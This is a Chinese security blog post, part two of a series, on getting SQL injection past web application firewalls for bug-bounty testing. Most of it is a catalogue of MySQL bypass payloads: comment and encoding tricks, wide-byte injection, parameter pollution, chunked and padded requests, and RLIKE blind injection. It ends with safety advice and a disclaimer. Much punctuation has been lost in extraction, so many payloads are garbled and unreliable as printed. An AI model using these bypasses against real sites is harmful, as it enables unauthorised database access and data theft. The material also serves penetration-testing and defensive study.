【SRC】SQL注入WAF 绕过应对策略(二)

📅 发布时间:2026/7/9 23:29:13 👁️ 浏览次数:
【SRC】SQL注入WAF 绕过应对策略(二)
本文仅用于技术研究禁止用于非法用途。Author:枷锁感谢本文章思路归属于猎洞时刻的师傅WAF 绕过的核心逻辑在于利用 WAF 正则引擎、中间件解析层与底层数据库如 MySQL对同一段字符的“认知偏差”寻找语法间隙。一、 语法层字符混淆与干扰1.1 注释符的深度运用物理分割链条UNION/**/SELECT填充干扰字符UNION/*%00*/SELECT、UNION/*%0a*/SELECT、UNION/*any_string*/SELECTMySQL 内联注释基础/*!UNION*/ /*!SELECT*/版本探测/*!50448SELECT*/(若当前 MySQL 版本≥\ge≥5.4.48 则执行)畸形语法/*!00000SELECT*/(在所有版本中均会执行)1.2 空白符替代方案WAF 往往死盯着%20(空格) 和。URL 编码控制字符%09(Tab),%0a(换行),%0b(垂直制表),%0c(换页),%0d(回车)符号替代 (无需空格注入)括号包裹法UNION(SELECT(1),2,3)反引号包裹法SELECTversion()算术/属性符法id1.0UNION.SELECT.1,2或id1-1UNIONSELECT1,21.3 字符集失配 (Charset Mismatch)利用 WAF 与数据库解析编码的不一致实现“隐身”。宽字节注入在 GBK 编码环境下利用%df吞掉转义符\。id1%df AND 11 --Unicode 归一化 (Normalization)部分 WAF 会将特殊的 Unicode 字符如转换回标准 ASCII如%通过构造 WAF 识别后的“安全”字符串在后端还原为攻击 Payload。二、 语义层关键字与函数变形2.1 逻辑运算符替代原词替代符号备注AND(%26%26)标准逻辑与ORORXOR异或判断1 XOR 0 1ANDREGEXPid1 REGEXP ^a(正则判断)2.2 控制流与条件混淆当IF()函数被封杀时可以使用更复杂的结构CASE 结构CASE WHEN (11) THEN 1 ELSE 0 ENDELT 函数ELT(1, a, b)(返回第一个字符串)COALESCE 函数COALESCE(NULL, 1)(返回第一个非空值)2.3 替代元数据查询 (Bypassing information_schema)WAF 通常严密监控information_schema。MySQL 5.7 替代方案sys.schema_table_statistics_with_buffersys.x$schema_flattened_keys无列名注入 (Join Based)利用UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b等结构探测列数。三、 编码与表达层数据特征隐藏3.1 十六进制 (Hex) 绕过针对引号过滤的核心技巧。字符串 Hex 化admin→\rightarrow→0x61646d696e嵌套转换UNHEX(61646d696e)3.2 隐式类型转换与算术运算浮点数绕过id1.0,id1e0,id10e-1算术还原id1abc-0(MySQL 将前导数字识别为 1)位运算使用、、、^替代简单的数值比较。3.3 双重编码 (Double Encoding)若 WAF 在解码一次后即进行规则匹配而应用端会解码两次SELECT→\rightarrow→%53%45%4c%45%43%54(单次)→\rightarrow→%25%35%33%25%34%35...(双重)四、 协议与传输层深度解析差异4.1 分块传输 (Chunked Encoding)手动构造 HTTP 报文将恶意代码切分到不同的 Chunk 中欺骗只检测前 N 个字节或完整 Body 的 WAF。4.2 参数污染 (HPP - HTTP Parameter Pollution)利用中间件对重复参数处理的逻辑差异PHP/Apache取最后一个参数值。ASP/IIS拼接所有参数值逗号分隔。实战 Payload (ASP/IIS)?id1/*id*/UNION/*id*/SELECT/*id*/1,2,3WAF 看到id1/*,id*/UNION/*等碎块安全。后端处理id1/*,*/UNION/*,*/SELECT/*,*/1,2,3执行。4.3 脏数据填充 (Size Limit)WAF 性能瓶颈利用在 POST 请求中填充数 KB 的垃圾数据如a1junkAAAA...id1 UNION...核心 Payload 若超出 WAF 的检测窗口深度则会被直接放行。五、 高级技巧隐蔽盲注变形5.1 正则报错盲注 (RLIKE Error)利用正则引擎在解析非法语法时报错的特性PayloadAND 1(SELECT 1 FROM DUAL WHERE 1 RLIKE IF(SUBSTR(user(),1,1)r, 0x22, 0x28))0x22(双引号) 是合法正则不报错0x28(左括号) 是非法正则直接导致 SQL 报错。5.2 二阶注入 (Second-Order SQLi)攻击 Payload 在第一次请求如注册、修改资料中被安全存储到数据库中在第二次请求如查看个人主页、生成报表时被取出并拼接到 SQL 语句中执行。WAF 往往只关注入口流量很难防御已在数据库内部的攻击。六、 安全红线生产环境避坑指南SQL 注入不仅是数据泄露更是逻辑篡改。拒绝 OR 11在UPDATE/DELETE点注入时使用OR 11会导致全表覆盖或清空。这是重大的生产事故。逻辑收敛测试优先使用AND 12(确认影响结果集缩减)探测延迟建议使用SLEEP(1)且带上LIMIT 1条件。数据完整性保护严禁在未授权环境执行INTO OUTFILE写 WebShell严禁执行DROP TABLE或TRUNCATE操作。原则渗透测试应遵循最小损害原则所有破坏性操作必须在克隆的沙盒环境中验证。宇宙级免责声明​​ 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。希望这个教程对你有所帮助记得负责任地进行安全测试。